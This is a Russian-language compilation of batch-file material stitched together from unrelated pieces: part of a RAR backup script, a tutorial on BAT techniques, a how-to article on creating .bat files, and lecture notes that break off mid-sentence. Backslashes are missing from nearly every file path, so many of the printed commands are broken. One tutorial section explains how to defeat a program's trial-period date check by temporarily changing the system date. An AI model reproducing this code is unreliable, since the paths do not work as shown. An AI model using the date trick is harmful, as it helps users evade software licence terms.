SET DIRNAME=MEDEA_rdisk

SET FILENAME=MEDEA_rdisk

SET SOURCEDIR=%windir%repair

%windir%system32rdisk.exe /s-

rar a -r -m5 -dh -w%DRIVE2ND% -p%PASSWD% %DIRNAME%%FILENAME%_new %SOURCEDIR%*.*

if not exist %DIRNAME%%FILENAME%_new.rar goto next5

del %DIRNAME%%FILENAME%_old.rar

ren %DIRNAME%%FILENAME%.rar %FILENAME%_old.rar

ren %DIRNAME%%FILENAME%_new.rar %FILENAME%.rar

copy %DIRNAME%%FILENAME%.rar %COPYTO%%DIRNAME%

:next5

В итоге имеем 3 папки: Departments, в ней:

SERVER_Departments_2.rar — 2х дневной давности

SERVER_Departments_3.rar — 3х дневной давности

SERVER_Departments_4.rar — 4х дневной давности

SERVER_Departments_new.rar — НОВЫЙ

SERVER_Departments_old.rar — СТАРЫЙ Exchange

Так как архивируем обменник — он нам сильно то и не нужен храним только сегодняшний и вчерашний архивы

SERVER_Exchange.rar

SERVER_Exchange_old.rar ну и систему на всякий в папке

SERVER_rdisk

SERVER_rdisk.rar

SERVER_rdisk_old.rar

Использование комментариев в файлах BAT

Чтобы разбираться в том, что именно осуществляет заданный BAT документ, рекомендуется применять комментарии. Использование их для главных блоков особенно важно в случае значительного объема текстовой информации. Просматривая файл через некоторое время, у Вас не возникнет проблем с пониманием особенностей его работы.

Написание комментариев можно осуществить несколькими способами. Когда приходится иметь дело с довольно большим количеством текста, рекомендуется следующий подход:

goto start

—————————————

Этот пакетный файл предназначен

для автоматизации рутинных операций,

выполняемых ночью для синхронизации

содержимого корпоративного ftp-сервера

с ftp-серверами филиалов

—————————————

Пакетный файл написан 01/01/2016

Последнее исправление внесено 10/02/2016

—————————————

И т.д.

:start

Подобный вариант обеспечивает запуск пакетного документа, после чего выполняется переход контроля непосредственно команде, которая помещается после start. В некоторых ситуациях будет выгодным использовать иной подход. Например, хорошо подходит применение команды rem или два двоеточия. Они оптимально подходят для небольших по своему размеру комментариев с длиной в одну строчку.

rem Комментарий

:: Комментарий

Если Вы хотите обеспечить для себя удобство последующего разбора своих записей, рекомендуется не забывать про возможности комментирования. Не стоит описывать каждый шаг, но основные блоки должны иметь информацию о себе. Комментарии считаются правилом хорошего тона в программировании.

Ожидание появления заданного документа в файле BAT

В некоторых ситуациях возникает потребность осуществить заданные действия при возникновении определенного файла. Осуществление такой задачи в пакетном документе предусматривается следующий подход:

:test

if exist c:1.txt goto go

ping -n 20 127.0.0.1 >nul

goto test

:go

start notepad.exe

Приведенный текст задает необходимость выполнения проверки каждые 20 секунд того, существует ли в корне диска С документа с названием 1.txt. Если подобное событие произойдет, выполняются действия после goto. В конкретной ситуации производится запуск программы блокнота, но можно использовать любые другие варианты.

Периодически возникает ситуация, когда искомый файл обладает крупным объемом и проводится его копирование. Таким образом, поиск выдаст результат, но какие-либо действия повлекут за собой появление ошибки. Чтобы этого не возникло, нужно несколько улучшить содержимое пакетного файла.

:test

if exist c:1.txt goto go

ping -n 10 127.0.0.1 >nul

goto test

:go

rename c:1.txt 1.txt

if not %errorlevel% == 0 goto go

del c:1.txt

Как и раньше, попытка каких-либо действий с не полностью скопированным документом вызовет ошибку, но она не приведет к завершению. Произойдет повторение цикла и так до тех пор, пока ошибка не исчезнет.

Способы обхода процедуры проверки даты из файла BAT

Некоторые программы в процессе своей работы осуществляют проверку текущей даты. В большинстве случаев это создано для контроля временных рамок использования. Достаточно часто владелец устанавливает возможность бесплатной эксплуатации на протяжении установленного периода времени. Когда сроки истекают, расширенный или даже весь функционал программы перестает работать. Другой вариант – это регулярное обновление до последней версии.

Если Вы не хотите, чтобы программа использовала временную проверку, можно изменить свои настройки даты и времени. Этот вариант нельзя назвать приемлемым по многим причинам. Более эффективным подходом требуется назвать использование пакетного файла со специально прописанной информацией. Предполагается запуск приложения и последующий возврат даты к тому значению, что присутствовало ранее.

set tempdate=%date:~-10%

date 01-01-04

start notepad.exe

date %tempdate%

Что именно делают прописанные строки? Прежде всего, производится сохранение текущей даты в системе. Для этого применяется особая переменная. Во второй строке происходит установка системной даты на новое значение. В данном случае, это 1 января 2004 года. Сразу после этого предполагается проведение вызова программы, отвечающей за проверку системной даты. Мы использовали блокнот, но в Вашем случае требуется предусмотреть подобный момент. Пока Блокнот является открытым, пакетный документ ожидает, а сама дата не предусматривает изменение обратно. После закрытия Блокнота происходит возврат системной даты из переменной.

Важно уделить внимание определенному моменту. Когда в пути до конкретного документа используются символы из кириллицы, рекомендуется применять текстовый редактор с поддержкой кодировки 866 (ОЕМ, русская) или аналогичного варианта. Когда это не предусматривается, происходит выдача ошибки и работа пакетного файла не осуществляется.

Большинство программ упрощают систему проверки – она выполняется исключительно в процессе запуска. Это позволяет модифицировать пакетный документ в соответствии с подобными запросами.

set tempdate=%date:~-10%

date 01-01-04

start notepad.exe

date %tempdate%

Процесс работы довольно прост. В первую очередь выполняется изменение системной даты и последующий запуск программы. Пакетный документ не станет ждать, пока она завершит своё функционирование и осуществит возврат даты на прежнее значение.

Импорт переменных реестра из пакетного файла

Когда возникает потребность выполнения импорта в реестр определенных переменных, осуществление поставленной задачи предполагает использование следующей команды:

regedit.exe -s C:environment.reg

Производится импорт в реестр сведений из документа environment.reg. Поскольку применяется специальный ключ –s, то не предусматривается вывода сообщений для подтверждения таких действий.

Экспорт переменных реестра из пакетного файла

В некоторых случаях поставлена задача, противоположная рассмотренной в предыдущем абзаце. Чтобы сохранить в пакетном файле некоторую часть реестра с полным перечнем параметров, необходимо использовать следующий подход:

regedit.exe -ea C:environment.reg «HKEY_CURRENT_USEREnvironment»

Происходит сохранение ветки HKEY_CURRENT_USEREnvironment в документ, расположенный по адресу C:environment.reg. При запросе на восстановление значений HKEY_CURRENT_USEREnvironment, предполагается необходимым только выполнить запуск environment.reg. Примером использования такой команды следует назвать осуществление регулярного бэкапа настроек ПО или всей системы. Подобная информация находится в реестре и может быть выгружена оттуда. Полный адрес может включать в себя проблемы. Чтобы они не вызвали ошибку, надо позаботиться о заключении подобного пути в кавычки.

Применение внутри пакетного файла символа %

Символ процента относится к категории спецсимволов. Если требуется применить его внутри пакетного документа, то следует прописывать дважды.

echo 50%%

Если ввести указанную команду, то предполагается выдача на экран в BAT документе 50%. Без использования двойного символа %%, результатом станет только число 50.

Смена имен по маске из файла BAT

В некоторых ситуациях поставлена задача сменить названия всех файлов в папке с применением определенного шаблона из пакетного документа. Предполагается использование следующей команды:

for /f «tokens=*» %%a in (‘dir /b PATH*.*’) do ren PATH%%a Prefix%%a

Требуется выполнить некоторые замены в зависимости от конкретной ситуации. Вместо PATH устанавливается расположение документов, название которых должно быть изменено. Prefix требуется заменить на символы, добавляемые к файлу в процессе смены имени. Важным условием является расположение самого файла BAT. Он не должен находиться в папке, где происходит переименование, иначе название документа будет изменено. Другой особенностью является работа с подпапками. Они не смогут избежать общей процедуры смены имени и к названию также добавится префикс.

Имеется возможность осуществить процедуру исключительно по отношению к некоторым типам файлов. Для этого в прописанной ранее строке надо изменить *.* на другой вариант – после звездочки указывается интересующее расширение (*.txt или иное). Это позволит переименовать только документы определенного вида. Пример с несколько другим подходом написан ниже:

set thePATH=C:test

for %%I in (*.txt) do ren «%thePATH%%%~nxI» «%%~nI.dat»

Определение имени компьютера из пакетного файла

Непосредственно из файла BAT можно узнать название компьютера. Для этого необходимо прописать в документе

hostname

Команда предусматривает возврат имени устройства, на котором произошел её запуск.

Изменение IP адреса устройства из пакетного файла

Чтобы изменить IP адрес компьютера, следует применять команду netsh. Начать подобные мероприятия можно только после того, как станет определены текущие настройки. Требуется получить IP адрес на данный момент:

netsh interface ip show address

Происходит выдача текущей конфигурации. Нам необходимо узнать название применяемого интерфейса. В качестве примера это может быть FASTNET. Далее будет предполагаться необходимость изменения IP адреса на 172.22.0.33 (шлюз 172.22.0.1, маска 255.255.255.0). Предусматривается следующая строка в пакетном файле для выполнения поставленной задачи:

netsh interface ip set address name=»FASTNET» static 172.22.0.33 255.255.255.0 172.22.0.1 1

Обработка команды повлечет изменение IP адреса у интерфейса FASTNET на 172.22.0.33. Это и является искомой задачей. Указанная команда предлагает весьма широкие возможности в плане работы с сетевыми настройками.

Автоматизация удаления документов по типу

Задача очистки жесткого диска от временных файлов может быть решена с помощью следующей строки:

del /f /s /q C:*.tmp

Следует разъяснить используемые параметры

/f

Происходит удаление всех документов, даже при наличии у них атрибута «только чтение»

/s

Выполняется удаление файлов из всех подкаталогов.

/q

Не всплывает окна, просящего подтверждения действиям удаления.

C:

Прописывается диск, для которого будет производиться удаление документов. В данном случае, разрешается указывать более конкретный путь, например, до некоторой папки.

*.tmp

Тип удаляемых документов.

Следует аккуратно использовать параметр /q. С ним удаление будет происходить без каких-либо запросов и это может привести к весьма неприятным последствиям.

Отправка сообщения непосредственно из файла BAT

Следует рассмотреть ситуации, когда осуществляется работа пакетного файла на одном из устройств в сети. В подобной ситуации будет особенно удобным, когда после завершения установленных мероприятий произойдет пересылка соответствующего сообщения для администратора. Это довольно просто сделать с применением следующей строки:

net send name Message text

Здесь параметр name означает название некоторого устройства, куда будет отправлено сообщение. В качестве самого сообщения следует прописать информацию Message text. Важно учитывать применяемый алфавит. Когда осуществляется работа с кириллицей, нужно применять кодировку MS-DOS (866 кодовая страница) или любую аналогичную ей. В ином случае, следует приготовиться к выдаче набора ничего не значащих символов. Таким образом, рекомендуется применять соответствующие типы текстовых редакторов.

В качестве примера подобной программы можно отметить FAR. Следует выполнить открытие пакетного документа через этот текстовый редактор за счет нажатия клавиши F4 или выбора соответствующего пункта. Указывается кодировка DOS – она исключает проблему невозможности распознания символов системой.

Запуск BAT файла из другого BAT документа

Чаще будет проще использовать возможность запуска из одного BAT файла другого, чем прописывание дополнительных строк действий. Для этого могут предусматриваться и более серьёзные рекомендации, чем удобство пользователя. Например, при необходимости приостановить осуществление основного пакетного документа во время выполнения другого или задать их параллельную деятельность.

Следует рассмотреть подобный момент более подробно. Выполним создание пакетного файла 1.bat, который будет включать следующее содержимое:

call 2.bat

То есть, происходит вызов второго пакетного файла 2.bat, где пропишем одну команду:

pause

Посмотрим, что произойдет при запуске 1.bat. Если это сделать, то на экран выдастся сообщение с предложением нажатия любой клавиши. Когда это будет сделано, произойдет закрытие окна. Из этого можно сделать довольно простой вывод. Когда один пакетный файл вызывается из другого с применением call, предусматривается остановка его исполнения до той поры, пока выполнение второго не будет завершено.

Стоит рассказать об иной ситуации, которая предусматривает необходимость параллельного выполнения пакетных документов. Подобный запрос возникает довольно часто и для его реализации можно использовать команду start, как оптимальный вариант в сложившихся условиях. Вернемся к созданным документам и в 1.bat введем некоторые корректировки:

start 2.bat

Теперь предполагается открытие окна с предложением нажать любую кнопку при запуске 1.bat. При этом, окно главного пакетного документа закроется после выполнения своей задачи. Теперь Вы понимаете особенности применения команд start и call. Следует отметить тот факт, что они используются не только для того, чтобы запускать пакетные файлы. Команды вполне способны осуществить начало работы любого приложения или документа.

Отключение выдачи на экран команд в процессе осуществления пакетного файла

Когда в пакетном файле выполняются различные команды, предусматривается выдача результата работы на экран. Далеко не всегда имеется запрос в подобных действиях и требуется осуществить исполнение с отключенным выводом. Для этого следует применять символ @, который прописывается перед самой командой.

Требуется рассмотреть это на примере. Допустим, в пакетном файле имеется строка

echo Testing

На экран предусматривается выдача echo Testing, а потом результат деятельности команды – слово Testing. Можно написать внутри пакетного документа следующие сведения:

@echo Testing

Результатом работы станет только выдача слова Testing. Можно пойти ещё дальше и установить работу таким образом, чтобы отключился вывод команд на протяжении всего файла BAT. В таком случае, требуется задать

@echo off

Автоматический ответ на запросы о подтверждении

При работе некоторых команд может возникнуть ситуация, когда они должны совершить потенциально опасное действие в системе. В качестве примера рекомендуется назвать format или del. Подобный момент предусмотрен и выдается соответствующее предупреждение. Когда производится выполнение внутри пакетного файла, то его деятельность остановится. Она будет возобновлена только после подтверждения и это способно стать причиной потери драгоценного времени.

Существует способ осуществления задачи автоматизации. Предполагается использование перенаправления необходимого ответа в команду. Далее будет на примере рассмотрено подобное действие. Требуется создать на диске С обычную папку Folder и внутрь неё осуществим помещение любых 2х документов.

Запускаем интерпретатор команд и вводим в нем

del C:Folder

Это предполагает необходимость осуществить удаление вместе со всеми файлами внутри. Поскольку подобное действие относится к числу потенциально опасных, поступит запрос на подтверждение следующего вида:

C:Folder*, продолжить [Y(да)/N(нет)]?

Команда не станет продолжаться до тех пор, пока пользователь не ответит. Если работа производится в автономном режиме, ожидание может быть крайне длительным, а сам процесс останется невыполненным. Для выхода из сложившейся ситуации рекомендуется применение специального символа (|). Он предусматривает, что должна произойти передача следующей сразу после команде. Теперь модифицируем строку в пакетном файле:

echo Y|del C:Folder

На экран происходит выдача подтверждения с уже положительным решением. Таким образом, из указанной папки произойдет удаление всех документов. Следует аккуратно использовать подобную возможность.

Перенаправление результата выполнения команды в документ

В случае деятельности BAT файлов сложного типа способны возникнуть проблемы в плане того, насколько правильно функционирует система. Именно по этой причине применяется специальное средство – запись в специальный лог-файл. Это предусматривает возможность ознакомиться с документом в дальнейшем и провести анализ того, насколько правильно осуществлялось выполнение поставленных задач.

Чтобы выполнить перенаправление результата работы в специально предназначенный для этого документ, требуется создать файл BAT со следующими строками:

@echo off

echo Start %time%

echo Create test.txt

echo test>C:test.txt

echo Copy Test.txt to Old_test.txt

copy C:test.txt C:Old_test.txt

echo Stop %time%

Необходимо подробнее разобрать, что именно выполняет указанный набор команд.

Первой строкой задается отключение вывода команд. Это позволит получить в лог-документе исключительно результаты осуществления.

Второй строкой указывается время, когда начал исполняться пакетный файл.

Третьей строкой указывается на то, что следующей командой будет создаваться текстовый документ test.txt.

Четвертая строка предназначена для того, чтобы непосредственно осуществить поставленную задачу. Следующим этапом производится запись в него одного слова – test.

Пятая строка проводит выдачу в лог-документ пояснение о том, что следующим этапом станет происходить копирование в иное место.

В шестой строке осуществляется непосредственное копирование C:test.txt в файл C:Old_test.txt. Можно говорить о том, что происходит создание копии документа, но с присвоением для него нового названия.

В заключительной строке указывается команда, которая предусматривается для указания времени действия пакетного документа. Аналогичные сведения можно получить в лог-файле.

Требуется рассмотреть дальнейшие возможности по модификации предложенного набора команд. Часто возникает запрос на выполнение хранения подобных документов в специально предназначенной для них папке. Каждый день должна производиться запись отчета с присвоением для него нового названия. Оптимальный вариант – это использование имени, состоящего из некоторого слова и автоматически добавляемой к нему текущей даты. Сам файл можно назвать 1.bat и сохранить.

Теперь создадим на диске папку LOG и полный путь к ней станет иметь указанный вид: C:LOG. Следующим этапом происходит запуск команду установленного типа:

1.bat>C:LOG%date~-10%.txt

Когда в расположении документа предусматриваются пробелы, рекомендуется предусмотреть указанный момент и применять кавычки или специальный формат записи. Ниже указано два возможных варианта:

«C:Program Files1.bat»>C:LOG%date~-10%.txt

C:Progra~11.bat>C:LOG%date~-10%.txt

Предполагается, что сразу после начала работы 1.bat в папке C:LOG произойдет создание документа с названием, которое включает текущую дату. Именно указанный файл и требуется установить в качестве отчета о деятельности пакетного файла 1.bat. Если запустить рассмотренный BAT файл, то предполагается предоставление указанного далее результата:

Start 19:03:27,20

Create test.txt

Copy Test.txt to Old_test.txt

Скопировано файлов: 1.

Stop 19:03:27,21

Чтобы произвести перенаправление результатов работы bat-документа в лог-документа, следует применять специальный символ (>). Написание команды будет иметь представленный ниже вид:

ПутьИмяФайла.bat>ПутьИмяЛогФайла.txt

Некоторые вопросы касаются расширения, которое должно даваться лог-файлу. Оно может быть любым, в том числе являться страницей html. Последний вариант особенно удобен в том случае, когда выгрузка значений должна происходить на какой-либо сайт.

Создание папки из BAT файла

Чтобы выполнить поставленную задачу, предполагается несколько доступных вариантов действий. Наиболее простой способ включает в себя применение команды MKDIR или специального сокращенного аналога – MD. Предполагается написание указанной ниже строки в документе:

MD FolderName

Когда такая команда будет осуществлена, предполагается образование новой папки FolderName. Она помещается туда же, где располагается файл BAT. Вовсе не обязательно обеспечивать подобную привязку. Допускается создавать папку в любом указанном пользователем месте, что и внесено в следующую команду:

MD D:FolderName

Разрешается применять системы переменных в тех случаях, когда выполняется создание папок. Пример заключается в следующем – требуется создать папку в корне жесткого диска D с названием в виде имени текущего юзера. Задается вот так:

MD D:%USERNAME%

Дальнейшее усложнение команды предписывает создание папки с именем юзера на системном диске устройства:

MD %SYSTEMDRIVE%%USERNAME%

Ниже рассматривается вариант, когда в качестве названия для папки применяется дата на момент выполнения пакетного файла.

set datetemp=%date:~-10%

MD %SYSTEMDRIVE%%datetemp%

Нужно выполнить рассмотрение того, каким именно образом происходит функционирование набора команд. Первой строкой создается специальная переменная datetemp. Когда работы завершатся, она удаляется, но до этого момента играет важную роль. Предусматривается корректировка значения переменной на протяжении всего времени её существования. В строке осуществляется присвоение значения, представляющего собой десять символов с правой части от системной переменной DATE. Используется формат представленного типа: Дн ДД.ММ.ГГГГ. Сначала слева идет указание недель и оно не представляет интереса. При создании папок открывается большое количество путей, которыми разрешается следовать. Это открывает большие возможности перед пользователями. Если Вы хотите увидеть перечень всех переменных, следует применить команду SET.

Создание документа с произвольным названием из BAT файла

Чтобы можно было создать документ в ходе осуществления пакетного файла, нужно написать специальный символ, отвечающий за перенаправление: (>). Предполагается перенаправление потока с экрана на документ. Рекомендуется использование указанного способа:

@echo Start file>C:1.txt

Исполнение команды создает текстовый документ, обладающий строкой Start file. В ходе создания документа станет возможным применение в качестве части или всего его названия значений некоторых переменных. Схожие моменты уже рассматривались ранее. В качестве примера требуется отметить создание файла с названием, соответствующим дате его запуска.

set datetemp=%date:~-10%

@echo .>%SYSTEMDRIVE%%DATETEMP%.txt

Работа начинается с того, что создается некоторая переменная, которая получает название datetemp. Для неё производится задание десятка символов с правой части системной переменной DATE. Это позволяет обеспечить применение исключительно действующих дат. Во второй строке указывается перенаправление (.) в документ. Его название получается за счет использования значения переменной datetemp. Должно быть указано TXT расширение, поскольку требуется получить текстовый документ.

Когда происходит работа в сети и пользователь с правами администратора реализует сбор сведений, рекомендуется добавлять название главного устройства. Это позволит упростить задачу дальнейших проверок. Требуется использование команды:

@echo .>C:FolderName%COMPUTERNAME%.txt

Происходит создание на диске С документа TXT, обладающего названием, состоящим из имени устройства выполнения пакетного файла. Допускается модернизировать предложенные строчки путем внесения различных переменных.

Процесс автоматизации запуска файлов BAT

Ряд процессов требует осуществления задачи запуска документов BAT без привлечения к подобному процессу внимания со стороны пользователя. Автоматическая деятельность системы вполне может быть прописана. Такой подход используется довольно часто. Классический планировщик из инструментов операционной системы вполне способен помочь в выполнении начала работы пакетных файлов по расписанию. Таким образом, происходит запуск в точно установленное юзером время или через некоторые интервалы.

Помимо стандартного планировщика можно найти огромное количество специализированных программ. Значительная часть из них являются свободно доступными. В платных версиях предусматривается использование расширенных возможностей.

Ещё одним вариантом можно назвать автоматический запуск некоторых действий каждый раз при входе пользователем в учетную запись или включении устройства. Ранее уже рассматривались основные направления деятельности и способы задания команд для подобных ситуаций.

Применяемые в документах BAT команды

Как уже упоминалось, допускается использовать все команды, некоторые из них предназначаются специально для работы в пакетных файлах. Можно ознакомиться с полным перечнем. Для этого предполагается получить доступ к командной строке. Это можно сделать через Пуск > Выполнить > CMD.

Предусматривается несколько вариантов получения сведений:

help

Если осуществить ввод указанной команды, можно получить полный список существующих команд и небольшие описания к ним. Разрешается обеспечение более детальных сведений. Чтобы можно было их получить, требуется ввести help и название интересующей команды. В качестве примера рекомендуется указать возможность получения данных по АТ:

help AT

Результатом необходимо назвать выдачу перечня ключей для осуществления запуска указанной команды из пакетного документа. В данном плане Windows предоставляет гораздо более широкие возможности, чем DOS. Одним из примеров расширенного функционала требуется назвать открытие файла логов деятельности пакетного доку

start название_документа.txt

Если осуществить запуск подобной команды, то произойдет открытие название_документа.txt. Важным моментом является тот факт, что пакетный файл окончит свою деятельность. Использование подобного метода является оправданным в тех случаях, когда объемы лог-файла невелики.

Создание BATCH файла

Следует открыть программу «Блокнот» и в ней провести набор указанных далее строк:

@echo This batch file

@pause

После этого требуется выполнить сохранение в качестве файла 1.bat. Следующим этапом таких мероприятий, следует провести открытие пакетного документа. Это повлечет за собой выдачу строк:

This batch file

Нажмите любую клавишу для продолжения…

Когда предложение будет исполнено, произойдет закрытие пакетного документа, поскольку его работа завершается. Отдельное внимание должно уделяться этому символу — @. Он задает выдачу исключительно результата работы, а не непосредственно команды. Вы можете осуществить несколько экспериментов, связанных с изменением положения или удаления данного символа. Это позволит лучше понять особенности его использования. 

Как сделать файл бат


Автор:
Обновлено: 12.05.2018

Использование bat-файлов (иначе – «батник», «пакетный файл») часто может облегчить Вашу работу, например, автоматизировать установку программного обеспечения, по заранее заданным параметрам; синхронизация даты и времени; запуск последовательностей команд и прочее. Однако для использования подобных скриптов нужно уметь их создавать. По своей сути файлы с расширением .bat являются набором консольных команд, таких же, какие используются в командной строке.

В статье рассмотрены три метода создания .bat файлов:

  1. С помощью командной строки.
  2. С помощью программы «Блокнот».
  3. С помощью утилиты «Dr.Batcher».

Как сделать файл бат

Как сделать файл бат

Содержание

  • Создание пакетного файла с помощью командной строки
  • Создание пакетного файла с помощью программы «Блокнот»
  • Создание пакетного файла с помощью утилиты «Dr.Batcher»
  • Заключение
    • Видео — Создание Бат файла

Создание пакетного файла с помощью командной строки

Шаг 1. Для запуска командной строки в меню «Пуск» используйте диалог «Найти программы и файлы» Вы должны задать параметр поиска cmd и кликнуть левой кнопкой мыши по пиктограмме в разделе «Программы».

В параметре поиска вводим cmd и кликаем левой кнопкой мыши по пиктограмме в разделе «Программы»

В параметре поиска вводим cmd и кликаем левой кнопкой мыши по пиктограмме в разделе «Программы»

Шаг 2. Для хранения написанных батников рекомендуется использовать отдельную директорию, поэтому выберите место на Вашем жестком диске и создайте специальную папку, путем ввода команды «MD D:Bat».

На заметку! Команда вводится без кавычек, пробел ставится только после использования MD. В описываемом случае папка с именем «Bat» будет создана на диске D. Командная строка нечувствительна к регистру, то есть результат выполнения «MD D:Bat», «md D:Bat» и «md d:Bat» будет одинаков.

Создаем специальную папку, путем ввода команды «MD D:Bat»

Создаем специальную папку, путем ввода команды «MD D:Bat»

Шаг 3. Создайте собственно батник командой «@echo off > D:Batprobnik.bat».

Создаем батник командой «@echo off > D:Batprobnik.bat»

Создаем батник командой «@echo off > D:Batprobnik.bat»

На заметку! В данном случае регистр важен при указании пути размещения, то есть папки «bat», «Bat» и «BAT» – три независимые и абсолютно разные директории. При указании на несуществующую папку, команда не будет выполнена. Учтите, сообщения об ошибке тоже не будет.

Шаг 4. Для изменения содержимого файла следует открыть место его хранения, вызвать контекстное меню и выбрать строку «Изменить».

Для изменения содержимого файла открываем место его хранения, вызываем контекстное меню и выбираем строку «Изменить»

Для изменения содержимого файла открываем место его хранения, вызываем контекстное меню и выбираем строку «Изменить»

Создание пакетного файла с помощью программы «Блокнот»

Шаг 1. Для запуска блокнота войдите в меню «Все программы», пункт «Стандартные» и щелкните по запускающей пиктограмме.

Запускаем программу «Блокнот»

Запускаем программу «Блокнот»

Шаг 2. Укажите, какие команды должен выполнять bat файл.

Указываем, какие команды должен выполнять bat файл

Указываем, какие команды должен выполнять bat файл

Узнайте, как создать файл без больших познаний в программировании, из новой статьи — «Как создать файл bat».

В качестве примера предлагаем Вам использовать следующий код, выводящий изображение звезды:

«@echo off

mode con cols=32 lines=50

color a

title star!

for %%i in (

88888888888888881888888888888888,
88888888888888811188888888888888,
88888888888888111118888888888888,
88888888888881111111888888888888,
88888888888811111111188888888888,
88888888888111111111118888888888,
88888888881111111111111888888888,
11111111111111111111111111111111,
88111111111111111111111111111188,
88811111111111111111111111111888,
88881111111111111111111111118888,
88888111111111111111111111188888,
88888811111111118111111111888888,
88888111111111188811111111188888,
88881111111111888881111111118888,
88811111111118888888111111111888,
88111111111188888888111111111188,
81111111111888888888811111111118

) do echo %%i

pause > nul

bat».

Внимание! Код должен вводиться без кавычек. Всегда проверяйте синтаксис написания команд. Если Вы забудете поставить запятую в конце какой-либо строки, то при выполнении программы она сольется с последующей.

Шаг 3. Сохраните получившийся файл в нужную директорию. Для изменения разрешения используйте строку «Тип файла», в ней следует выбрать «Все файлы», а при вводе имени, после точки, укажите «bat».

Сохраняем получившийся файл в нужную директорию

Сохраняем получившийся файл в нужную директорию

Создание пакетного файла с помощью утилиты «Dr.Batcher»

Указанный программный продукт является платным, но предоставляет возможность использовать тестовую версию в течение 30 дней.

Утилита «Dr.Batcher»

Утилита «Dr.Batcher»

Шаг 1. Для создания файла воспользуйтесь меню «File», пункт «New…» или комбинацией клавиш «Ctrl+N».

Создаем файл

Создаем файл

Шаг 2. В диалоговом окне отметьте «Empty Batch File» и нажмите «ОК».

Отмечаем «Empty Batch File» и нажимаем «ОК»

Отмечаем «Empty Batch File» и нажимаем «ОК»

Шаг 3. Укажите, какие команды должен выполнять bat файл.

Указываем, какие команды должен выполнять bat файл

Указываем, какие команды должен выполнять bat файл

На заметку! В правом фрейме имеются ключевые команды, которые Вы можете использовать при написании кода. Достаточно выделить нужную и нажать на кнопку «Insert Command», что помогает сэкономить время при работе.

В правом фрейме имеются ключевые команды, которые можно использовать при написании кода

В правом фрейме имеются ключевые команды, которые можно использовать при написании кода

Шаг 4. Сохраните получившийся файл в нужную директорию.

Сохраняем получившийся файл в нужную директорию

Сохраняем получившийся файл в нужную директорию

Важно! Обратите внимание, что указанная утилита позволяет производить отладку программы «на лету». Достаточно воспользоваться меню «Batch», чтобы произвести запуск уже введенной последовательности. Ход выполнения отображается в нижнем фрейме. При использовании пункта «Execute in External Window…» будет произведено выполнение пакетного файла, аналогичный его запуску средствами операционной системы.

Указанная утилита позволяет производить отладку программы «на лету»

Указанная утилита позволяет производить отладку программы «на лету»

Заключение

Мы описали три способа создания файлов с расширением .bat. Два из указанных методов являются стандартными способами, доступными вместе с Windows, один требует установки дополнительного программного обеспечения. Оценка каждого из способов приведена в сводной таблице.

СведенияНаименование Командная строка Блокнот Dr.Batcher
Лицензия Поставка с Windows Поставка с Windows Платная
Русский язык В зависимости от версии Windows В зависимости от версии Windows В зависимости от версии
Создание пакетного файла Да Да Да
Редактирование пакетного файла Нет Да Да
Удобство интерфейса (от 1 до 5) 4 4 5

Видео — Создание Бат файла

Рекомендуем похожие статьи

Операционные системы
и среды
Колледж телекоммуникаций СПбГУТ

ДТО

Лекция № 13. Работа
с пакетными файлами

Лекция № 13. Работа с
пакетными файлами

  1. Пакетные
    командные файлы.

  2. Особенности
    работы с пакетными командными файлами
    в различных ОС.

  1. Пакетные
    командные файлы.

Пакетный
файл (англ. batch file) — текстовый файл в
MS-DOS, OS/2 или Windows, содержащий последовательность
команд, предназначенных для исполнения
командным интерпретатором. После запуска
пакетного файла, программа — интерпретатор
(как правило COMMAND.COM или CMD.EXE) читает его
строка за строкой и последовательно
исполняет команды. Пакетный файл —
аналог shell script в Unix-подобных операционных
системах.

Пакетные
файлы полезны для автоматического
запуска приложений. Основная область
применения — автоматизация наиболее
рутинных операций, что регулярно
приходится совершать пользователю
компьютера. Примерами таких операций
могут служить — обработка текстовых
файлов; копирование, перемещение,
переименование, удаление файлов; работа
с папками; архивация; создание резервных
копий баз данных и т. п. Пакетные файлы
поддерживают операторы if и goto (а в
системах семейства Windows NT и расширенный
оператор for), что позволяет обрабатывать
результаты выполнения предыдущих команд
или приложений и в зависимости от этого
выполнять дальше тот или иной блок
команд (как правило, в случае удачного
завершения приложение возвращает 0 в
переменной errorlevel; в случае неудачного
— 1 или большее значение).

Пакетные
файлы в DOS имеют расширение .bat; для других
операционных систем они могут иметь
другие расширения — например, .CMD в
Windows NT и OS/2, или .BTM в 4DOS или подобных
оболочках.

Пакетные
файлы могут содержать как внутренние
команды, обрабатываемые непосредственно
COMMAND.COM или CMD.EXE, так и обращения к внешним
утилитам, существующим в виде отдельных
программ (.EXE файлов). Данные программы
значительно расширяют возможности
пакетных файлов.

История

Программирование
пакетных файлов появилось в MS-DOS и Windows
с самого зарождения этих операционных
систем. Командные интерпретаторы этих
систем предлагают два режима работы:
интерактивный режим (когда пользователь
непосредственно вводит команды в
командной строке и немедленно их
исполняет) и пакетный режим (когда
пользователь запускает предварительно
записанную последовательность команд).
Концепция обоих режимов была почерпнута
из различных Unix-оболочек, равно как и
из других текстовых интерфейсов командной
строки начала 1980-х годов, таких как CP/M.

Командный
интерпретатор в MS-DOS имеет название
COMMAND.COM. Эволюция этой ветви пакетного
программирования прошла через различные
версии MS-DOS к Windows 95, Windows 98 и, наконец, к
Windows Me. Наиболее известным пакетным
файлом в этих системах является
AUTOEXEC.BAT, специальный пакетный файл,
который исполняется во время загрузки
операционной системы.

Новые
версии Windows — Windows 2000, XP и Vista основаны
не на MS-DOS, а на Windows NT. NT-подобные системы
включают интерпретатор cmd.exe, который
частично совместим с COMMAND.COM. Некоторые
старые возможности MS-DOS недоступны,
однако вместо них появились дополнительные
возможности и команды. COMMAND.COM до сих пор
включается в NT-подобные системы для
обеспечения лучшей обратной совместимости.

Существуют
различные другие командные интерпретаторы,
разработанные не компанией Microsoft и
предоставляющие расширенный синтаксис
команд для пакетного программирования.
Примером может служить 4DOS.

Также
имеются различные компиляторы пакетных
файлов, превращающие пакетные файлы в
исполняемые программы.

  1. Особенности
    работы с пакетными командными файлами
    в различных ОС.

Рассмотрим
на примере ОС MS-DOS
сновные команды, применяемые в пакетных
файлах

  1. CALL
    [путь] имя_командного _файла [параметры]

Эта
команда используется внутри командного
файла для вызова другого командного
файла. Когда вызываемый командный файл
заканчивает работу, управление передается
вызывающему файлу. Например, чтобы
последовательно вызвать файлы Start.bat
и Finish.bat,
надо в командный файл ввести команды

call
start

call
finish

  1. CHOICE
    [/C[:]выборы][/N][/S][T[:}c,nn][текст]

Эта
команда используется для ввода подсказки
пользователю. выполнение файла
приостанавливается и пользователь
может сделать выборы из указанного
набора выборы. Параметры команды:

текст
– пояснительный текст, который будет
